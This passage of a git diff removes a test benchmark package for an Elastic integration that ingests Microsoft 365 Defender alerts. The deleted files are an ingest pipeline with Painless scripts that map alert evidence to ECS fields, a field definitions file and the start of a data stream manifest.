-        if (!processPid.isEmpty()) {
-          ctx.process.pid = convertToOrderedArray(processPid);
-        }
-        if (!processParentPid.isEmpty()) {
-          ctx.process.parent.pid = convertToOrderedArray(processParentPid);
-        }
-        if (!processExecutable.isEmpty()) {
-          def execList = new ArrayList(processExecutable);
-          if (execList.size() == 1) {
-            ctx.process.executable = execList.get(0);
-          } else {
-            ctx.process.executable = execList;
-          }
-        }
-        if (!processParentExecutable.isEmpty()) {
-          def execList = new ArrayList(processParentExecutable);
-          if (execList.size() == 1) {
-            ctx.process.parent.executable = execList.get(0);
-          } else {
-            ctx.process.parent.executable = execList;
-          }
-        }
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_registryHive
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.registryHive
-          tag: rename_foreach_evidence_registryHive
-          target_field: _ingest._value.registry_hive
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_registryHive
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: registry.hive
-          tag: append_foreach_evidence_registryHive
-          value: '{{{_ingest._value.registry_hive}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_registryKey
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.registryKey
-          tag: rename_foreach_evidence_registryKey
-          target_field: _ingest._value.registry_key
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_registryKey
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: registry.key
-          tag: append_foreach_evidence_registryKey
-          value: '{{{_ingest._value.registry_key}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_registryValueType
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.registryValueType
-          tag: rename_foreach_evidence_registryValueType
-          target_field: _ingest._value.registry_value_type
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_registryValueType
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: registry.data.type
-          tag: append_foreach_evidence_registryValueType
-          value: '{{{_ingest._value.registry_value_type}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_registryValue
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.registryValue
-          tag: rename_foreach_evidence_registryValue
-          target_field: _ingest._value.registry_value
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_registryValue
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: registry.value
-          tag: append_foreach_evidence_registryValue
-          value: '{{{_ingest._value.registry_value}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_registryValueName
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.registryValueName
-          tag: rename_foreach_evidence_registryValueName
-          target_field: _ingest._value.registry_value_name
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_rename_securityGroupId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        rename:
-          field: _ingest._value.securityGroupId
-          tag: rename_foreach_evidence_securityGroupId
-          target_field: _ingest._value.security_group_id
-          ignore_missing: true
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_append_securityGroupId
-      if: ctx.json?.evidence instanceof List
-      processor:
-        append:
-          field: group.id
-          tag: append_foreach_evidence_securityGroupId
-          value: '{{{_ingest._value.security_group_id}}}'
-          allow_duplicates: false
-  - script:
-      description: Map ecs fields based on evidence type.
-      tag: script_to_map_evidence_ecs_fields
-      lang: painless
-      if: ctx.json?.evidence instanceof List
-      source: |
-        def convertToOrderedArray(def list) {
-          def result = new ArrayList();
-          for (element in list) {
-            result.add(element);
-          }
-          Collections.sort(result);
-          return result;
-        }
-        if (!(ctx.cloud instanceof HashMap)) {
-          ctx.cloud = new HashMap();
-        }
-        def cloudProvider = new HashSet();
-        if (!(ctx.group instanceof HashMap)) {
-          ctx.group = new HashMap();
-        }
-        def groupName = new HashSet();
-        if (!(ctx.host instanceof HashMap)) {
-          ctx.host = new HashMap();
-        }
-        def hostId = new HashSet();
-        if (!(ctx.user instanceof HashMap)) {
-          ctx.user = new HashMap();
-        }
-        def userDomain = new HashSet();
-        def userId = new HashSet();
-        def userName = new HashSet();
-        def userEmail = new HashSet();
-        if (!(ctx.process instanceof HashMap)) {
-          ctx.process = new HashMap();
-        }
-        ctx.process.user = new HashMap();
-        def processUserId = new HashSet();
-        def processUserName = new HashSet();
-        for (evidence in ctx.json.evidence) {
-          if (evidence?.odata_type == null) {
-            continue
-          }
-          if (evidence?.odata_type == '#microsoft.graph.security.securityGroupEvidence') {
-            if (evidence?.display_name != null) {
-              groupName.add(evidence.display_name);
-            }
-          }
-          if (evidence?.odata_type == '#microsoft.graph.security.deviceEvidence') {
-            if (evidence?.mde_device_id != null) {
-              hostId.add(evidence.mde_device_id);
-            }
-          }
-          if (['#microsoft.graph.security.mailboxEvidence', '#microsoft.graph.security.userEvidence'].contains(evidence.odata_type)) {
-            if (evidence?.user_account?.domain_name != null) {
-              userDomain.add(evidence.user_account.domain_name);
-            }
-            if (evidence?.user_account?.azure_ad_user_id != null) {
-              userId.add(evidence.user_account.azure_ad_user_id);
-            }
-            if (evidence?.user_account?.user_principal_name != null) {
-              userEmail.add(evidence.user_account.user_principal_name);
-            }
-            if (evidence?.user_account?.account_name != null) {
-              userName.add(evidence.user_account.account_name);
-            }
-          }
-          if (evidence?.odata_type == '#microsoft.graph.security.processEvidence') {
-            if (evidence?.user_account?.azure_ad_user_id != null) {
-              processUserId.add(evidence.user_account.azure_ad_user_id);
-            }
-            if (evidence?.user_account?.account_name != null) {
-              processUserName.add(evidence.user_account.account_name);
-            }
-          }
-          if (evidence?.vm_metadata?.cloud_provider != null && evidence.vm_metadata.cloud_provider.toLowerCase() == 'azure') {
-            cloudProvider.add('azure');
-          }
-        }
-        if (!cloudProvider.isEmpty()) {
-          ctx.cloud.provider = convertToOrderedArray(cloudProvider);
-        }
-        if (!groupName.isEmpty()) {
-          ctx.group.name = convertToOrderedArray(groupName);
-        }
-        if (!hostId.isEmpty()) {
-          ctx.host.id = convertToOrderedArray(hostId);
-        }
-        if (!userDomain.isEmpty()) {
-          ctx.user.domain = convertToOrderedArray(userDomain);
-        }
-        if (!userId.isEmpty()) {
-          ctx.user.id = convertToOrderedArray(userId);
-        }
-        if (!userName.isEmpty()) {
-          ctx.user.name = convertToOrderedArray(userName);
-        }
-        if (!userEmail.isEmpty()) {
-          ctx.user.email = convertToOrderedArray(userEmail);
-        }
-        if (!processUserId.isEmpty()) {
-          ctx.process.user.id = convertToOrderedArray(processUserId);
-        }
-        if (!processUserName.isEmpty()) {
-          ctx.process.user.name = convertToOrderedArray(processUserName);
-        }
-  - foreach:
-      field: process.pid
-      tag: foreach_process_pid
-      if: ctx.process?.pid instanceof List
-      processor:
-        append:
-          field: process.entity_id
-          tag: append_process_pid_to_entity_id
-          value: '{{{_ingest._value}}}'
-          allow_duplicates: false
-  - foreach:
-      field: process.parent.pid
-      tag: foreach_process_parent_pid
-      if: ctx.process?.parent?.pid instanceof List
-      processor:
-        append:
-          field: process.parent.entity_id
-          tag: append_process_parent_pid_to_entity_id
-          value: '{{{_ingest._value}}}'
-          allow_duplicates: false
-  - foreach:
-      field: json.evidence
-      tag: foreach_evidence_remove_fields
-      if: ctx.json?.evidence instanceof List
-      processor:
-        remove:
-          field:
-            - _ingest._value.createdDateTime
-            - _ingest._value.receivedDateTime
-            - _ingest._value.attachmentsCount
-            - _ingest._value.firstSeenDateTime
-            - _ingest._value.parentProcessCreationDateTime
-            - _ingest._value.processCreationDateTime
-            - _ingest._value.senderIp
-            - _ingest._value.urlCount
-            - _ingest._value.instanceId
-            - _ingest._value.appId
-            - _ingest._value.saasAppId
-            - _ingest._value.osBuild
-            - _ingest._value.rbacGroupId
-            - _ingest._value.fileDetails.fileSize
-            - _ingest._value.ipAddress
-            - _ingest._value.emailCount
-            - _ingest._value.parentProcessId
-            - _ingest._value.processId
-            - _ingest._value.imageFile.fileSize
-            - _ingest._value.parentProcessImageFile.fileSize
-            - _ingest._value.internetMessageId
-            - _ingest._value.networkMessageId
-          ignore_missing: true
-  - rename:
-      field: json.evidence
-      tag: rename_evidence
-      target_field: m365_defender.alert.evidence
-      ignore_missing: true
-  - remove:
-      if: ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields'))
-      tag: remove_ecs_duplicate_fields
-      field:
-        - m365_defender.alert.last_update_datetime
-        - m365_defender.alert.description
-        - m365_defender.alert.created_datetime
-        - m365_defender.alert.last_activity_datetime
-        - m365_defender.alert.id
-        - m365_defender.alert.service_source
-        - m365_defender.alert.first_activity_datetime
-        - m365_defender.alert.web_url
-        - m365_defender.alert.assigned_to
-        - m365_defender.alert.category
-        - m365_defender.alert.mitre_techniques
-        - m365_defender.alert.tenant_id
-      ignore_missing: true
-  - foreach:
-      field: m365_defender.alert.evidence
-      tag: remove_foreach_ecs_duplicate_fields
-      if: ctx.m365_defender?.alert?.evidence instanceof List && (ctx.tags == null || !(ctx.tags.contains('preserve_duplicate_custom_fields')))
-      processor:
-        remove:
-          field:
-            - _ingest._value.ip_address
-            - _ingest._value.detection_status
-            - _ingest._value.received_datetime
-            - _ingest._value.antispam_direction
-            - _ingest._value.subject
-            - _ingest._value.recipient_email_address
-            - _ingest._value.instance_id
-            - _ingest._value.instance_name
-            - _ingest._value.vm_metadata.cloud_provider
-            - _ingest._value.os_platform
-            - _ingest._value.version
-            - _ingest._value.file_details.sha1
-            - _ingest._value.file_details.sha256
-            - _ingest._value.file_details.name
-            - _ingest._value.file_details.path
-            - _ingest._value.file_details.size
-            - _ingest._value.process.command_line
-            - _ingest._value.image_file.sha1
-            - _ingest._value.image_file.sha256
-            - _ingest._value.parent_process.image_file.sha1
-            - _ingest._value.parent_process.image_file.sha256
-            - _ingest._value.parent_process.id
-            - _ingest._value.parent_process.creation_datetime
-            - _ingest._value.process.id
-            - _ingest._value.process.creation_datetime
-            - _ingest._value.registry_value_type
-            - _ingest._value.registry_hive
-            - _ingest._value.registry_key
-            - _ingest._value.registry_value
-            - _ingest._value.security_group_id
-          ignore_missing: true
-  - script:
-      lang: painless
-      tag: set_process_name_from_command_line
-      description: Set process.name from process.command_line.
-      if: ctx.process?.name == null
-      source: |
-        ctx.process = ctx.process ?: [:];
-        ctx.process.name = ctx.process.name ?: [];
-        // Normalize process.name to a list
-        def nameList = [];
-        if (ctx.process.name != null) {
-          if (ctx.process.name instanceof String) {
-            nameList.add(ctx.process.name);
-          } else if (ctx.process.name instanceof List) {
-            nameList.addAll(ctx.process.name);
-          }
-        }
-
-        // Deduplication using HashSet
-        def currentNames = new HashSet();
-        currentNames.addAll(nameList);
-        // Handle process.command_line (string or list)
-        if (ctx.process.command_line != null) {
-          // Convert string to list for unified handling
-          def cmdList = [];
-          if (ctx.process.command_line instanceof String) {
-            cmdList.add(ctx.process.command_line);
-          } else if (ctx.process.command_line instanceof List) {
-            cmdList.addAll(ctx.process.command_line);
-          }
-          for (cmd in cmdList) {
-            if (cmd != null && cmd.length() > 0) {
-              // Extract the first token
-              def parts = cmd.trim().splitOnToken(" ");
-              if (parts.length > 0) {
-                def executable = parts[0];
-                // If executable is a path, take only the last part
-                if (executable.contains("/")) {
-                  def slashParts = executable.splitOnToken("/");
-                  executable = slashParts[slashParts.length - 1];
-                }
-                executable = /\"/.matcher(executable).replaceAll("");
-                currentNames.add(executable);
-              }
-            }
-          }
-        }
-        // Update process.name with unique list
-        if (currentNames != null && currentNames.size() == 1) {
-          ctx.process.name = currentNames.iterator().next();
-        } else {
-          ctx.process.name = new ArrayList(currentNames);
-        }
-      on_failure:
-        - append:
-            tag: append_error_message_2b136ec5
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - remove:
-      field: json
-      tag: remove_json
-      ignore_missing: true
-  - script:
-      tag: script_to_drop_null_values
-      lang: painless
-      source: |-
-        boolean drop(Object object) {
-          if (object == null || object == '') {
-            return true;
-          } else if (object instanceof Map) {
-            ((Map) object).values().removeIf(v -> drop(v));
-            return (((Map) object).size() == 0);
-          } else if (object instanceof List) {
-            ((List) object).removeIf(v -> drop(v));
-            return (((List) object).length == 0);
-          }
-          return false;
-        }
-        drop(ctx);
-      description: Drops null/empty values recursively.
-      on_failure:
-        - append:
-            tag: append_error_message_0886867f
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - append:
-      tag: append_event_kind_d2f25e35
-      field: event.kind
-      value: pipeline_error
-      allow_duplicates: false
-      if: ctx.error?.message != null
-  - append:
-      tag: append_tags_9fe66b2c
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
-      if: ctx.error?.message != null
-on_failure:
-  - append:
-      field: error.message
-      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - set:
-      field: event.kind
-      value: pipeline_error
-  - append:
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml
deleted file mode 100644
index bbcb02bdd7..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/base-fields.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-- name: data_stream.type
-  type: constant_keyword
-  description: Data stream type.
-- name: data_stream.dataset
-  type: constant_keyword
-  description: Data stream dataset.
-- name: data_stream.namespace
-  type: constant_keyword
-  description: Data stream namespace.
-- name: event.module
-  type: constant_keyword
-  description: Event module.
-  value: m365_defender
-- name: event.dataset
-  type: constant_keyword
-  description: Event dataset.
-  value: m365_defender.alert
-- name: '@timestamp'
-  type: date
-  description: Event timestamp.
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml
deleted file mode 100644
index 4084f1dc7f..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-- name: input.type
-  type: keyword
-  description: Type of filebeat input.
-- name: log.offset
-  type: long
-  description: Log offset.
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml
deleted file mode 100644
index 071b21fc9c..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml
+++ /dev/null
@@ -1,506 +0,0 @@
-- name: m365_defender.alert
-  type: group
-  fields:
-    - name: actor_display_name
-      type: keyword
-      description: The adversary or activity group that is associated with this alert.
-    - name: assigned_to
-      type: keyword
-      description: Owner of the alert, or null if no owner is assigned.
-    - name: category
-      type: keyword
-      description: The attack kill-chain category that the alert belongs to. Aligned with the MITRE ATT&CK framework.
-    - name: classification
-      type: keyword
-      description: 'Specifies whether the alert represents a true threat. Possible values are: unknown, falsePositive, truePositive, benignPositive, unknownFutureValue.'
-    - name: comments
-      type: flattened
-      description: Array of comments created by the Security Operations (SecOps) team during the alert management process.
-    - name: created_datetime
-      type: date
-      description: Time when Microsoft 365 Defender created the alert.
-    - name: description
-      type: keyword
-      description: String value describing each alert.
-    - name: detection_source
-      type: keyword
-      description: Detection technology or sensor that identified the notable component or activity.
-    - name: detector_id
-      type: keyword
-      description: The ID of the detector that triggered the alert.
-    - name: determination
-      type: keyword
-      description: 'Specifies the result of the investigation, whether the alert represents a true attack and if so, the nature of the attack. Possible values are: unknown, apt, malware, securityPersonnel, securityTesting, unwantedSoftware, other, multiStagedAttack, compromisedUser, phishing, maliciousUserActivity, clean, insufficientData, confirmedUserActivity, lineOfBusinessApplication, unknownFutureValue.'
-    - name: evidence
-      type: group
-      fields:
-        - name: antispam_direction
-          type: keyword
-          description: 'Direction of the email relative to your network. The possible values are: Inbound, Outbound or Intraorg.'
-        - name: app_id
-          type: keyword
-          description: Unique identifier of the application.
-        - name: attachments_count
-          type: long
-          description: Number of attachments in the email.
-        - name: azure_ad_device_id
-          type: keyword
-          description: A unique identifier assigned to a device by Azure Active Directory (Azure AD) when device is Azure AD-joined.
-        - name: cluster_by
-          type: keyword
-          description: The clustering logic of the emails inside the cluster.
-        - name: cluster_by_value
-          type: keyword
-          description: The value utilized to cluster the similar emails.
-        - name: created_datetime
-          type: date
-          description: The time the evidence was created and added to the alert.
-        - name: defender_av_status
-          type: keyword
-          description: 'State of the Defender AntiMalware engine. The possible values are: notReporting, disabled, notUpdated, updated, unknown, notSupported, unknownFutureValue.'
-        - name: delivery_action
-          type: keyword
-          description: 'Delivery action of the email. The possible values are: Delivered, DeliveredAsSpam, Junked, Blocked, or Replaced.'
-        - name: delivery_location
-          type: keyword
-          description: 'Location where the email was delivered. The possible values are: Inbox, External, JunkFolder, Quarantine, Failed, Dropped, DeletedFolder or Forwarded.'
-        - name: detailed_roles
-          type: keyword
-          description: Detailed roles of the user associated with the event.
-        - name: detection_status
-          type: keyword
-          description: 'The status of the detection.The possible values are: detected, blocked, prevented, unknownFutureValue.'
-        - name: device_dns_name
-          type: keyword
-          description: The fully qualified domain name (FQDN) for the device.
-        - name: display_name
-          type: keyword
-          description: Name of the application.
-        - name: email_count
-          type: long
-          description: Count of emails in the email cluster.
-        - name: file_details
-          type: group
-          fields:
-            - name: issuer
-              type: keyword
-              description: The certificate authority (CA) that issued the certificate.
-            - name: name
-              type: keyword
-              description: The name of the file.
-            - name: odata_type
-              type: keyword
-            - name: path
-              type: keyword
-              description: The file path (location) of the file instance.
-            - name: publisher
-              type: keyword
-              description: The publisher of the file.
-            - name: sha1
-              type: keyword
-              description: The Sha1 cryptographic hash of the file content.
-            - name: sha256
-              type: keyword
-              description: The Sha256 cryptographic hash of the file content.
-            - name: signer
-              type: keyword
-              description: The signer of the signed file.
-            - name: size
-              type: long
-              description: The size of the file in bytes.
-        - name: first_seen_datetime
-          type: date
-          description: The date and time when the device was first seen.
-        - name: health_status
-          type: keyword
-          description: 'The health state of the device.The possible values are: active, inactive, impairedCommunication, noSensorData, noSensorDataImpairedCommunication, unknown, unknownFutureValue.'
-        - name: image_file
-          type: group
-          fields:
-            - name: issuer
-              type: keyword
-              description: The certificate authority (CA) that issued the certificate.
-            - name: name
-              type: keyword
-              description: The name of the file.
-            - name: odata_type
-              type: keyword
-            - name: path
-              type: keyword
-              description: The file path (location) of the file instance.
-            - name: publisher
-              type: keyword
-              description: The publisher of the file.
-            - name: sha1
-              type: keyword
-              description: The Sha1 cryptographic hash of the file content.
-            - name: sha256
-              type: keyword
-              description: The Sha256 cryptographic hash of the file content.
-            - name: signer
-              type: keyword
-              description: The signer of the signed file.
-            - name: size
-              type: long
-              description: The size of the file in bytes.
-        - name: instance_id
-          type: keyword
-          description: Identifier of the instance of the Software as a Service (SaaS) application.
-        - name: instance_name
-          type: keyword
-          description: Name of the instance of the SaaS application.
-        - name: internet_message_id
-          type: keyword
-          description: Public-facing identifier for the email that is set by the sending email system.
-        - name: ip_address
-          type: ip
-          description: The value of the IP Address, can be either in V4 address or V6 address format.
-        - name: ip_interfaces
-          type: ip
-          description: IP Interfaces related to the event.
-        - name: language
-          type: keyword
-          description: Detected language of the email content.
-        - name: logged_on_users
-          type: group
-          fields:
-            - name: account_name
-              type: keyword
-              description: User account name of the logged-on user.
-            - name: domain_name
-              type: keyword
-              description: User account domain of the logged-on user.
-            - name: odata_type
-              type: keyword
-        - name: mde_device_id
-          type: keyword
-          description: A unique identifier assigned to a device by Microsoft Defender for Endpoint.
-        - name: network_message_id
-          type: keyword
-          description: Unique identifier for the email, generated by Microsoft 365.
-        - name: network_message_ids
-          type: keyword
-          description: Unique identifiers for the emails in the cluster, generated by Microsoft 365.
-        - name: object_id
-          type: keyword
-          description: The unique identifier of the application object in Azure AD.
-        - name: odata_type
-          type: keyword
-        - name: onboarding_status
-          type: keyword
-          description: 'The status of the machine onboarding to Microsoft Defender for Endpoint.The possible values are: insufficientInfo, onboarded, canBeOnboarded, unsupported, unknownFutureValue.'
-        - name: os_build
-          type: keyword
-          description: The build version for the operating system the device is running.
-        - name: os_platform
-          type: keyword
-          description: The operating system platform the device is running.
-        - name: p1_sender
-          type: group
-          fields:
-            - name: display_name
-              type: keyword
-              description: The name of the sender.
-            - name: domain_name
-              type: keyword
-              description: Sender domain.
-            - name: email_address
-              type: keyword
-              description: Sender email address.
-            - name: odata_type
-              type: keyword
-        - name: p2_sender
-          type: group
-          fields:
-            - name: display_name
-              type: keyword
-              description: The name of the sender.
-            - name: domain_name
-              type: keyword
-              description: Sender domain.
-            - name: email_address
-              type: keyword
-              description: Sender email address.
-            - name: odata_type
-              type: keyword
-        - name: parent_process
-          type: group
-          fields:
-            - name: creation_datetime
-              type: date
-              description: Date and time when the parent of the process was created.
-            - name: id
-              type: long
-              description: Process ID (PID) of the parent process that spawned the process.
-            - name: image_file
-              type: group
-              fields:
-                - name: issuer
-                  type: keyword
-                  description: The certificate authority (CA) that issued the certificate.
-                - name: name
-                  type: keyword
-                  description: The name of the file.
-                - name: odata_type
-                  type: keyword
-                - name: path
-                  type: keyword
-                  description: The file path (location) of the file instance.
-                - name: publisher
-                  type: keyword
-                  description: The publisher of the file.
-                - name: sha1
-                  type: keyword
-                  description: The Sha1 cryptographic hash of the file content.
-                - name: sha256
-                  type: keyword
-                  description: The Sha256 cryptographic hash of the file content.
-                - name: signer
-                  type: keyword
-                  description: The signer of the signed file.
-                - name: size
-                  type: long
-                  description: The size of the file in bytes.
-        - name: primary_address
-          type: keyword
-          description: The primary email address of the mailbox.
-        - name: process
-          type: group
-          fields:
-            - name: command_line
-              type: keyword
-              description: Command line used to create the new process.
-            - name: creation_datetime
-              type: date
-              description: Date and time the process was created.
-            - name: id
-              type: long
-              description: Process ID (PID) of the newly created process.
-        - name: publisher
-          type: keyword
-          description: The name of the application publisher.
-        - name: query
-          type: keyword
-          description: The query used to identify the email cluster.
-        - name: rbac_group
-          type: group
-          fields:
-            - name: id
-              type: keyword
-              description: The ID of the role-based access control (RBAC) device group.
-            - name: name
-              type: keyword
-              description: The name of the RBAC device group.
-        - name: received_datetime
-          type: date
-          description: Date and time when the email was received.
-        - name: recipient_email_address
-          type: keyword
-          description: Email address of the recipient, or email address of the recipient after distribution list expansion.
-        - name: registry_hive
-          type: keyword
-          description: Registry hive of the key that the recorded action was applied to.
-        - name: registry_key
-          type: keyword
-          description: Registry key that the recorded action was applied to.
-        - name: registry_value
-          type: keyword
-          description: Data of the registry value that the recorded action was applied to.
-        - name: registry_value_name
-          type: keyword
-          description: Name of the registry value that the recorded action was applied to.
-        - name: registry_value_type
-          type: keyword
-          description: Data type, such as binary or string, of the registry value that the recorded action was applied to.
-        - name: remediation_status
-          type: keyword
-          description: 'Status of the remediation action taken. The possible values are: none, remediated, prevented, blocked, notFound, active, pendingApproval, declined, notRemediated, running, unknownFutureValue.'
-        - name: remediation_status_details
-          type: keyword
-          description: Details about the remediation status.
-        - name: risk_score
-          type: keyword
-          description: 'Risk score as evaluated by Microsoft Defender for Endpoint. The possible values are: none, informational, low, medium, high, unknownFutureValue.'
-        - name: roles
-          type: keyword
-          description: The role/s that an evidence entity represents in an alert, e.g., an IP address that is associated with an attacker will have the evidence role "Attacker".
-        - name: saas_app_id
-          type: keyword
-          description: The identifier of the SaaS application.
-        - name: security_group_id
-          type: keyword
-          description: Unique identifier of the security group.
-        - name: sender_ip
-          type: ip
-          description: IP address of the last detected mail server that relayed the message.
-        - name: subject
-          type: keyword
-          description: Subject of the email.
-        - name: tags
-          type: keyword
-          description: Array of custom tags associated with an evidence instance, for example to denote a group of devices, high value assets, etc.
-        - name: threat_detection_methods
-          type: keyword
-          description: Collection of methods used to detect malware, phishing, or other threats found in the email.
-        - name: threats
-          type: keyword
-          description: Collection of detection names for malware or other threats found.
-        - name: type
-          type: keyword
-        - name: url
-          type: keyword
-          description: The Unique Resource Locator (URL).
-        - name: url_count
-          type: long
-          description: Number of embedded URLs in the email.
-        - name: urls
-          type: keyword
-          description: Collection of the URLs contained in this email.
-        - name: urn
-          type: keyword
-          description: Uniform resource name (URN) of the automated investigation where the cluster was identified.
-        - name: user_account
-          type: group
-          fields:
-            - name: account_name
-              type: keyword
-              description: The user account's displayed name.
-            - name: azure_ad_user_id
-              type: keyword
-              description: The user object identifier in Azure AD.
-            - name: domain_name
-              type: keyword
-              description: The name of the Active Directory domain of which the user is a member.
-            - name: odata_type
-              type: keyword
-            - name: user_principal_name
-              type: keyword
-              description: The user principal name of the account in Azure AD.
-            - name: user_sid
-              type: keyword
-              description: The local security identifier of the user account.
-        - name: verdict
-          type: keyword
-          description: 'The decision reached by automated investigation. The possible values are: unknown, suspicious, malicious, noThreatsFound, unknownFutureValue.'
-        - name: version
-          type: keyword
-          description: The version of the operating system platform.
-        - name: vm_metadata
-          type: group
-          fields:
-            - name: cloud_provider
-              type: keyword
-              description: 'The cloud provider hosting the virtual machine. The possible values are: unknown, azure, unknownFutureValue.'
-            - name: odata_type
-              type: keyword
-            - name: resource_id
-              type: keyword
-              description: Unique identifier of the Azure resource.
-            - name: subscription_id
-              type: keyword
-              description: Unique identifier of the Azure subscription the customer tenant belongs to.
-            - name: vm_id
-              type: keyword
-              description: Unique identifier of the virtual machine instance.
-    - name: first_activity_datetime
-      type: date
-      description: The earliest activity associated with the alert.
-    - name: id
-      type: keyword
-      description: Unique identifier to represent the alert resource.
-    - name: incident_id
-      type: keyword
-      description: Unique identifier to represent the incident this alert resource is associated with.
-    - name: incident_web_url
-      type: group
-      description: URL for the incident page in the Microsoft 365 Defender portal.
-      fields:
-        - name: domain
-          type: keyword
-        - name: extension
-          type: keyword
-        - name: fragment
-          type: keyword
-        - name: full
-          type: keyword
-        - name: original
-          type: keyword
-        - name: password
-          type: keyword
-        - name: path
-          type: keyword
-        - name: port
-          type: long
-        - name: query
-          type: keyword
-        - name: scheme
-          type: keyword
-        - name: username
-          type: keyword
-    - name: last_activity_datetime
-      type: date
-      description: The oldest activity associated with the alert.
-    - name: last_update_datetime
-      type: date
-      description: Time when the alert was last updated at Microsoft 365 Defender.
-    - name: mitre_techniques
-      type: keyword
-      description: The attack techniques, as aligned with the MITRE ATT&CK framework.
-    - name: odata_type
-      type: keyword
-    - name: provider_alert_id
-      type: keyword
-      description: The ID of the alert as it appears in the security provider product that generated the alert.
-    - name: recommended_actions
-      type: keyword
-      description: Recommended response and remediation actions to take in the event this alert was generated.
-    - name: resolved_datetime
-      type: date
-      description: Time when the alert was resolved.
-    - name: service_source
-      type: keyword
-      description: 'The service or product that created this alert. Possible values are: microsoftDefenderForEndpoint, microsoftDefenderForIdentity, microsoftCloudAppSecurity, microsoftDefenderForOffice365, microsoft365Defender, aadIdentityProtection, appGovernance, dataLossPrevention.'
-    - name: severity
-      type: keyword
-      description: 'Indicates the possible impact on assets. The higher the severity the bigger the impact. Typically higher severity items require the most immediate attention. Possible values are: unknown, informational, low, medium, high, unknownFutureValue.'
-    - name: status
-      type: keyword
-      description: 'The status of the alert. Possible values are: new, inProgress, resolved, unknownFutureValue.'
-    - name: tenant_id
-      type: keyword
-      description: The Azure Active Directory tenant the alert was created in.
-    - name: threat_display_name
-      type: keyword
-      description: The threat associated with this alert.
-    - name: threat_family_name
-      type: keyword
-      description: Threat family associated with this alert.
-    - name: title
-      type: keyword
-      description: Brief identifying string value describing the alert.
-    - name: web_url
-      type: group
-      description: URL for the alert page in the Microsoft 365 Defender portal.
-      fields:
-        - name: domain
-          type: keyword
-        - name: extension
-          type: keyword
-        - name: fragment
-          type: keyword
-        - name: full
-          type: keyword
-        - name: original
-          type: keyword
-        - name: password
-          type: keyword
-        - name: path
-          type: keyword
-        - name: port
-          type: long
-        - name: query
-          type: keyword
-        - name: scheme
-          type: keyword
-        - name: username
-          type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml
deleted file mode 100644
index d96bbb959a..0000000000
--- a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml
+++ /dev/null
@@ -1,89 +0,0 @@
-title: Collect Alert logs from Microsoft Defender XDR
-type: logs
-streams:
-  - input: httpjson
-    title: Alerts
-    description: Collect Alerts from Microsoft Defender XDR.
-    enabled: false
-    template_path: httpjson.yml.hbs
-    vars:
-      - name: request_url
-        type: text
-        title: Request URL
-        description: URL of API endpoint.
-        default: https://graph.microsoft.com
-        multi: false
-        required: true
-        show_user: false
-      - name: initial_interval
-        type: text
-        title: Initial Interval
-        description: How far back to pull the alerts from Microsoft Defender XDR. Supported units for this parameter are h/m/s.
-        multi: false
-        required: true
-        show_user: true
-        default: 24h
-      - name: interval
-        type: text
-        title: Interval
-        description: Duration between requests to the Microsoft Security Graph API V2. Supported units for this parameter are h/m/s.
-        default: 5m
-        multi: false
-        required: true
-        show_user: true
-      - name: batch_size
-        type: integer
-        title: Batch Size
